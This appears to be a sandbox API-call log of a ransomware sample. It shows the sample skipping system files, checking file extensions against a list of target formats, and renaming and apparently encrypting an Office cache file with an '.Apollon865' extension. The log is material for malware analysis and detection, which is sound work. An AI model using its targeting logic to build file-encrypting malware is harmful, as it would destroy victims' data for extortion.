	[0078.867] lstrlenW (lpString="ckp") returned 3
	[0078.867] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0078.868] lstrlenW (lpString="cma") returned 3
	[0078.868] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0078.868] lstrlenW (lpString="cpd") returned 3
	[0078.868] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0078.868] lstrlenW (lpString="dacpac") returned 6
	[0078.868] lstrcmpiW (lpString1="ng.msi", lpString2="dacpac") returned 1
	[0078.868] lstrlenW (lpString="dad") returned 3
	[0078.868] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0078.868] lstrlenW (lpString="dadiagrams") returned 10
	[0078.868] lstrcmpiW (lpString1="oofing.msi", lpString2="dadiagrams") returned 1
	[0078.868] lstrlenW (lpString="daschema") returned 8
	[0078.868] lstrcmpiW (lpString1="fing.msi", lpString2="daschema") returned 1
	[0078.868] lstrlenW (lpString="db-journal") returned 10
	[0078.868] lstrcmpiW (lpString1="oofing.msi", lpString2="db-journal") returned 1
	[0078.868] lstrlenW (lpString="db-shm") returned 6
	[0078.868] lstrcmpiW (lpString1="ng.msi", lpString2="db-shm") returned 1
	[0078.868] lstrlenW (lpString="db-wal") returned 6
	[0078.868] lstrcmpiW (lpString1="ng.msi", lpString2="db-wal") returned 1
	[0078.868] lstrlenW (lpString="dbc") returned 3
	[0078.868] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0078.868] lstrlenW (lpString="dbs") returned 3
	[0078.868] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0078.868] lstrlenW (lpString="dbt") returned 3
	[0078.868] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0078.868] lstrlenW (lpString="dbv") returned 3
	[0078.868] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0078.868] lstrlenW (lpString="dbx") returned 3
	[0078.868] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0078.868] lstrlenW (lpString="dcb") returned 3
	[0078.868] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
	[0078.868] lstrlenW (lpString="dct") returned 3
	[0078.868] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1
	[0078.868] lstrlenW (lpString="dcx") returned 3
	[0078.868] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1
	[0078.868] lstrlenW (lpString="ddl") returned 3
	[0078.868] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1
	[0078.868] lstrlenW (lpString="dlis") returned 4
	[0078.869] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1
	[0078.869] lstrlenW (lpString="dp1") returned 3
	[0078.869] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1
	[0078.869] lstrlenW (lpString="dqy") returned 3
	[0078.869] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1
	[0078.869] lstrlenW (lpString="dsk") returned 3
	[0078.869] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1
	[0078.869] lstrlenW (lpString="dsn") returned 3
	[0078.869] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1
	[0078.869] lstrlenW (lpString="dtsx") returned 4
	[0078.869] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1
	[0078.869] lstrlenW (lpString="dxl") returned 3
	[0078.869] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1
	[0078.869] lstrlenW (lpString="eco") returned 3
	[0078.869] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1
	[0078.869] lstrlenW (lpString="ecx") returned 3
	[0078.869] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1
	[0078.869] lstrlenW (lpString="edb") returned 3
	[0078.869] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1
	[0078.869] lstrlenW (lpString="epim") returned 4
	[0078.869] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1
	[0078.869] lstrlenW (lpString="fcd") returned 3
	[0078.869] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1
	[0078.869] lstrlenW (lpString="fdb") returned 3
	[0078.869] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1
	[0078.869] lstrlenW (lpString="fic") returned 3
	[0078.869] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1
	[0078.869] lstrlenW (lpString="flexolibrary") returned 12
	[0078.869] lstrlenW (lpString="fm5") returned 3
	[0078.869] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1
	[0078.869] lstrlenW (lpString="fmp") returned 3
	[0078.869] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1
	[0078.869] lstrlenW (lpString="fmp12") returned 5
	[0078.869] lstrcmpiW (lpString1="g.msi", lpString2="fmp12") returned 1
	[0078.869] lstrlenW (lpString="fmpsl") returned 5
	[0078.869] lstrcmpiW (lpString1="g.msi", lpString2="fmpsl") returned 1
	[0078.869] lstrlenW (lpString="fol") returned 3
	[0078.870] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1
	[0078.870] lstrlenW (lpString="fp3") returned 3
	[0078.870] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1
	[0078.870] lstrlenW (lpString="fp4") returned 3
	[0078.870] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1
	[0078.870] lstrlenW (lpString="fp5") returned 3
	[0078.870] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1
	[0078.870] lstrlenW (lpString="fp7") returned 3
	[0078.870] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1
	[0078.870] lstrlenW (lpString="fpt") returned 3
	[0078.870] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1
	[0078.870] lstrlenW (lpString="frm") returned 3
	[0078.870] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1
	[0078.870] lstrlenW (lpString="gdb") returned 3
	[0078.870] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0078.870] lstrlenW (lpString="gdb") returned 3
	[0078.870] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0078.870] lstrlenW (lpString="grdb") returned 4
	[0078.870] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1
	[0078.870] lstrlenW (lpString="gwi") returned 3
	[0078.870] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1
	[0078.870] lstrlenW (lpString="hdb") returned 3
	[0078.870] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1
	[0078.870] lstrlenW (lpString="his") returned 3
	[0078.870] lstrcmpiW (lpString1="msi", lpString2="his") returned 1
	[0078.870] lstrlenW (lpString="ib") returned 2
	[0078.870] lstrcmpiW (lpString1="si", lpString2="ib") returned 1
	[0078.870] lstrlenW (lpString="idb") returned 3
	[0078.870] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1
	[0078.870] lstrlenW (lpString="ihx") returned 3
	[0078.870] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1
	[0078.870] lstrlenW (lpString="itdb") returned 4
	[0078.870] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1
	[0078.870] lstrlenW (lpString="itw") returned 3
	[0078.870] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1
	[0078.870] lstrlenW (lpString="jet") returned 3
	[0078.870] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1
	[0078.870] lstrlenW (lpString="jtx") returned 3
	[0078.871] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1
	[0078.871] lstrlenW (lpString="kdb") returned 3
	[0078.871] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1
	[0078.871] lstrlenW (lpString="kexi") returned 4
	[0078.871] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1
	[0078.871] lstrlenW (lpString="kexic") returned 5
	[0078.871] lstrcmpiW (lpString1="g.msi", lpString2="kexic") returned -1
	[0078.871] lstrlenW (lpString="kexis") returned 5
	[0078.871] lstrcmpiW (lpString1="g.msi", lpString2="kexis") returned -1
	[0078.871] lstrlenW (lpString="lgc") returned 3
	[0078.871] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1
	[0078.871] lstrlenW (lpString="lwx") returned 3
	[0078.871] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1
	[0078.871] lstrlenW (lpString="maf") returned 3
	[0078.871] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1
	[0078.871] lstrlenW (lpString="maq") returned 3
	[0078.871] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1
	[0078.871] lstrlenW (lpString="mar") returned 3
	[0078.871] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1
	[0078.871] lstrlenW (lpString="marshal") returned 7
	[0078.871] lstrcmpiW (lpString1="ing.msi", lpString2="marshal") returned -1
	[0078.871] lstrlenW (lpString="mas") returned 3
	[0078.871] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1
	[0078.871] lstrlenW (lpString="mav") returned 3
	[0078.871] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1
	[0078.871] lstrlenW (lpString="maw") returned 3
	[0078.871] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1
	[0078.871] lstrlenW (lpString="mdbhtml") returned 7
	[0078.871] lstrcmpiW (lpString1="ing.msi", lpString2="mdbhtml") returned -1
	[0078.871] lstrlenW (lpString="mdn") returned 3
	[0078.871] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1
	[0078.871] lstrlenW (lpString="mdt") returned 3
	[0078.871] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1
	[0078.871] lstrlenW (lpString="mfd") returned 3
	[0078.871] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1
	[0078.871] lstrlenW (lpString="mpd") returned 3
	[0078.871] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1
	[0078.871] lstrlenW (lpString="mrg") returned 3
	[0078.872] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1
	[0078.872] lstrlenW (lpString="mud") returned 3
	[0078.872] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1
	[0078.872] lstrlenW (lpString="mwb") returned 3
	[0078.872] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1
	[0078.872] lstrlenW (lpString="myd") returned 3
	[0078.872] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1
	[0078.872] lstrlenW (lpString="ndf") returned 3
	[0078.872] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1
	[0078.872] lstrlenW (lpString="nnt") returned 3
	[0078.872] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1
	[0078.872] lstrlenW (lpString="nrmlib") returned 6
	[0078.872] lstrcmpiW (lpString1="ng.msi", lpString2="nrmlib") returned -1
	[0078.872] lstrlenW (lpString="ns2") returned 3
	[0078.872] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1
	[0078.872] lstrlenW (lpString="ns3") returned 3
	[0078.872] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1
	[0078.872] lstrlenW (lpString="ns4") returned 3
	[0078.872] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1
	[0078.872] lstrlenW (lpString="nsf") returned 3
	[0078.872] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1
	[0078.872] lstrlenW (lpString="nv") returned 2
	[0078.872] lstrcmpiW (lpString1="si", lpString2="nv") returned 1
	[0078.872] lstrlenW (lpString="nv2") returned 3
	[0078.872] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1
	[0078.872] lstrlenW (lpString="nwdb") returned 4
	[0078.872] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1
	[0078.872] lstrlenW (lpString="nyf") returned 3
	[0078.872] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1
	[0078.872] lstrlenW (lpString="odb") returned 3
	[0078.872] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0078.872] lstrlenW (lpString="odb") returned 3
	[0078.872] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0078.872] lstrlenW (lpString="oqy") returned 3
	[0078.872] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1
	[0078.872] lstrlenW (lpString="ora") returned 3
	[0078.872] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1
	[0078.872] lstrlenW (lpString="orx") returned 3
	[0078.872] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1
	[0078.873] lstrlenW (lpString="owc") returned 3
	[0078.873] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1
	[0078.873] lstrlenW (lpString="p96") returned 3
	[0078.873] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1
	[0078.873] lstrlenW (lpString="p97") returned 3
	[0078.873] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1
	[0078.873] lstrlenW (lpString="pan") returned 3
	[0078.873] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1
	[0078.873] lstrlenW (lpString="pdb") returned 3
	[0078.873] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1
	[0078.873] lstrlenW (lpString="pdm") returned 3
	[0078.873] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1
	[0078.873] lstrlenW (lpString="pnz") returned 3
	[0078.873] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1
	[0078.873] lstrlenW (lpString="qry") returned 3
	[0078.873] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1
	[0078.873] lstrlenW (lpString="qvd") returned 3
	[0078.873] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1
	[0078.873] lstrlenW (lpString="rbf") returned 3
	[0078.873] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1
	[0078.873] lstrlenW (lpString="rctd") returned 4
	[0078.873] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1
	[0078.873] lstrlenW (lpString="rod") returned 3
	[0078.873] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1
	[0078.873] lstrlenW (lpString="rodx") returned 4
	[0078.873] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1
	[0078.873] lstrlenW (lpString="rpd") returned 3
	[0078.873] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1
	[0078.873] lstrlenW (lpString="rsd") returned 3
	[0078.873] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1
	[0078.873] lstrlenW (lpString="sas7bdat") returned 8
	[0078.873] lstrcmpiW (lpString1="fing.msi", lpString2="sas7bdat") returned -1
	[0078.873] lstrlenW (lpString="sbf") returned 3
	[0078.873] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1
	[0078.873] lstrlenW (lpString="scx") returned 3
	[0078.873] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1
	[0078.873] lstrlenW (lpString="sdb") returned 3
	[0078.874] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1
	[0078.874] lstrlenW (lpString="sdc") returned 3
	[0078.874] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1
	[0078.874] lstrlenW (lpString="sdf") returned 3
	[0078.874] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1
	[0078.874] lstrlenW (lpString="sis") returned 3
	[0078.874] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1
	[0078.874] lstrlenW (lpString="spq") returned 3
	[0078.874] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1
	[0078.874] lstrlenW (lpString="te") returned 2
	[0078.874] lstrcmpiW (lpString1="si", lpString2="te") returned -1
	[0078.874] lstrlenW (lpString="teacher") returned 7
	[0078.874] lstrcmpiW (lpString1="ing.msi", lpString2="teacher") returned -1
	[0078.874] lstrlenW (lpString="tmd") returned 3
	[0078.874] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1
	[0078.874] lstrlenW (lpString="tps") returned 3
	[0078.874] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1
	[0078.874] lstrlenW (lpString="trc") returned 3
	[0078.874] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0078.874] lstrlenW (lpString="trc") returned 3
	[0078.874] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0078.874] lstrlenW (lpString="trm") returned 3
	[0078.874] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1
	[0078.874] lstrlenW (lpString="udb") returned 3
	[0078.874] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1
	[0078.874] lstrlenW (lpString="udl") returned 3
	[0078.874] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1
	[0078.874] lstrlenW (lpString="usr") returned 3
	[0078.874] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1
	[0078.874] lstrlenW (lpString="v12") returned 3
	[0078.874] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1
	[0078.874] lstrlenW (lpString="vis") returned 3
	[0078.874] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1
	[0078.874] lstrlenW (lpString="vpd") returned 3
	[0078.874] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1
	[0078.874] lstrlenW (lpString="vvv") returned 3
	[0078.875] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1
	[0078.875] lstrlenW (lpString="wdb") returned 3
	[0078.875] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1
	[0078.875] lstrlenW (lpString="wmdb") returned 4
	[0078.875] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1
	[0078.875] lstrlenW (lpString="wrk") returned 3
	[0078.875] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1
	[0078.875] lstrlenW (lpString="xdb") returned 3
	[0078.875] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1
	[0078.875] lstrlenW (lpString="xld") returned 3
	[0078.875] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1
	[0078.875] lstrlenW (lpString="xmlff") returned 5
	[0078.875] lstrcmpiW (lpString1="g.msi", lpString2="xmlff") returned -1
	[0078.875] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proofing.xml", cAlternateFileName="")) returned 1
	[0078.875] lstrcmpiW (lpString1="Proofing.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.875] lstrcmpiW (lpString1="Proofing.xml", lpString2="Apollon865.txt.exe") returned 1
	[0078.875] lstrcmpiW (lpString1="Proofing.xml", lpString2=".") returned 1
	[0078.875] lstrcmpiW (lpString1="Proofing.xml", lpString2="..") returned 1
	[0078.875] lstrcmpiW (lpString1="Proofing.xml", lpString2="windows") returned -1
	[0078.875] lstrcmpiW (lpString1="Proofing.xml", lpString2="bootmgr") returned 1
	[0078.875] lstrcmpiW (lpString1="Proofing.xml", lpString2="temp") returned -1
	[0078.875] lstrcmpiW (lpString1="Proofing.xml", lpString2="pagefile.sys") returned 1
	[0078.875] lstrcmpiW (lpString1="Proofing.xml", lpString2="boot") returned 1
	[0078.875] lstrcmpiW (lpString1="Proofing.xml", lpString2="ids.txt") returned 1
	[0078.875] lstrcmpiW (lpString1="Proofing.xml", lpString2="ntuser.dat") returned 1
	[0078.875] lstrcmpiW (lpString1="Proofing.xml", lpString2="perflogs") returned 1
	[0078.875] lstrcmpiW (lpString1="Proofing.xml", lpString2="MSBuild") returned 1
	[0078.875] lstrlenW (lpString="Proofing.xml") returned 12
	[0078.875] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75
	[0078.875] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Proofing.xml" | out: lpString1="Proofing.xml") returned="Proofing.xml"
	[0078.875] lstrlenW (lpString="Proofing.xml") returned 12
	[0078.875] lstrlenW (lpString="Apollon865") returned 10
	[0078.875] lstrcmpiW (lpString1="oofing.xml", lpString2="Apollon865") returned 1
	[0078.875] lstrlenW (lpString=".dll") returned 4
	[0078.875] lstrcmpiW (lpString1="Proofing.xml", lpString2=".dll") returned 1
	[0078.875] lstrlenW (lpString=".lnk") returned 4
	[0078.875] lstrcmpiW (lpString1="Proofing.xml", lpString2=".lnk") returned 1
	[0078.875] lstrlenW (lpString=".ini") returned 4
	[0078.876] lstrcmpiW (lpString1="Proofing.xml", lpString2=".ini") returned 1
	[0078.876] lstrlenW (lpString=".sys") returned 4
	[0078.876] lstrcmpiW (lpString1="Proofing.xml", lpString2=".sys") returned 1
	[0078.876] lstrlenW (lpString="Proofing.xml") returned 12
	[0078.876] lstrlenW (lpString="bak") returned 3
	[0078.876] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0078.876] lstrlenW (lpString="ba_") returned 3
	[0078.876] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0078.876] lstrlenW (lpString="dbb") returned 3
	[0078.876] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0078.876] lstrlenW (lpString="vmdk") returned 4
	[0078.876] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0078.876] lstrlenW (lpString="rar") returned 3
	[0078.876] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0078.876] lstrlenW (lpString="zip") returned 3
	[0078.876] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0078.876] lstrlenW (lpString="tgz") returned 3
	[0078.876] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0078.876] lstrlenW (lpString="vbox") returned 4
	[0078.876] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0078.876] lstrlenW (lpString="vdi") returned 3
	[0078.876] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0078.876] lstrlenW (lpString="vhd") returned 3
	[0078.876] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0078.876] lstrlenW (lpString="vhdx") returned 4
	[0078.876] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0078.876] lstrlenW (lpString="avhd") returned 4
	[0078.876] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0078.876] lstrlenW (lpString="db") returned 2
	[0078.876] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0078.876] lstrlenW (lpString="db2") returned 3
	[0078.876] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0078.876] lstrlenW (lpString="db3") returned 3
	[0078.876] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0078.876] lstrlenW (lpString="dbf") returned 3
	[0078.876] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0078.876] lstrlenW (lpString="mdf") returned 3
	[0078.876] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0078.876] lstrlenW (lpString="mdb") returned 3
	[0078.877] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0078.877] lstrlenW (lpString="sql") returned 3
	[0078.877] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0078.877] lstrlenW (lpString="sqlite") returned 6
	[0078.877] lstrcmpiW (lpString1="ng.xml", lpString2="sqlite") returned -1
	[0078.877] lstrlenW (lpString="sqlite3") returned 7
	[0078.877] lstrcmpiW (lpString1="ing.xml", lpString2="sqlite3") returned -1
	[0078.877] lstrlenW (lpString="sqlitedb") returned 8
	[0078.877] lstrcmpiW (lpString1="fing.xml", lpString2="sqlitedb") returned -1
	[0078.877] lstrlenW (lpString="xml") returned 3
	[0078.877] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0078.877] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.Apollon865") returned 86
	[0078.877] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.apollon865"), dwFlags=0x1) returned 1
	[0078.878] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x10c
	[0078.878] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=811) returned 1
	[0078.878] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0078.878] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0078.878] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf810
	[0078.878] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bfa30) returned 1
	[0078.879] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0078.879] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.879] CreateFileMappingW (hFile=0x10c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0xc0
	[0078.881] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0078.881] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bfa30) returned 1
	[0078.882] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0078.882] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.882] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.882] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.882] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.882] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.882] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.882] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.882] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0078.882] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.883] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0078.883] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.883] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.883] CloseHandle (hObject=0xc0) returned 1
	[0078.883] CloseHandle (hObject=0x10c) returned 1
	[0078.883] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.883] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf810 | out: hHeap=0x580000) returned 1
	[0078.883] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0078.883] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0078.883] lstrcmpiW (lpString1="Setup.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.883] lstrcmpiW (lpString1="Setup.xml", lpString2="Apollon865.txt.exe") returned 1
	[0078.883] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1
	[0078.883] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1
	[0078.883] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1
	[0078.883] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1
